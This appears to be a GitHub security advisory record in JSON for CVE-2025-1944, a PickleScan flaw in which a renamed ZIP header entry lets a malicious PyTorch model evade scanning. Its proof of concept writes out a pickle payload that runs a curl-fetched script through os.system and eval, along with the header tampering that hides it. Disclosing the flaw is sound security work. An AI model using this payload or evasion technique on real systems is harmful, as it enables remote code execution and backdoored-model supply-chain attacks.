{
  "schema_version": "1.4.0",
  "id": "GHSA-7q5r-7gvp-wc82",
  "modified": "2025-04-09T20:13:35Z",
  "published": "2025-03-10T18:26:44Z",
  "aliases": [
    "CVE-2025-1944"
  ],
  "summary": "Zip Exploit Crashes Picklescan But Not PyTorch ",
  "details": "### Summary\n\nPickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.\n\n### Details\n\nPython's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.\n\nPyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.\n\n### PoC\n```\nimport os\nimport torch\n\nclass RemoteCodeExecution:\n    def __reduce__(self):\n        return os.system, (f\"eval \\\"$(curl -s http://localhost:8080)\\\"\",)\n\n\nmodel = RemoteCodeExecution()\nfile = \"does_not_scan_but_opens_in_torch.pth\"\ntorch.save(model, file)\n\n# modify the header to cause the zip file to raise execution in picklescan\nwith open(file, \"rb\") as f:\n    data = f.read()\n\n# Replace only the first occurrence of \"data.pkl\" with \"datap.kl\"\nmodified_data = data.replace(b\"data.pkl\", b\"datap.kl\", 1)\n\n# Write back the modified content\nwith open(file, \"wb\") as f:\n    f.write(modified_data)\n\n# Load the infected model\ntorch.load(file)  \n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.\n\n- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.\n\n- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.\n\n### Recommendations\n\n- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.\n\n- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
    },
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-20.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:26:44Z",
    "nvd_published_at": null
  }
}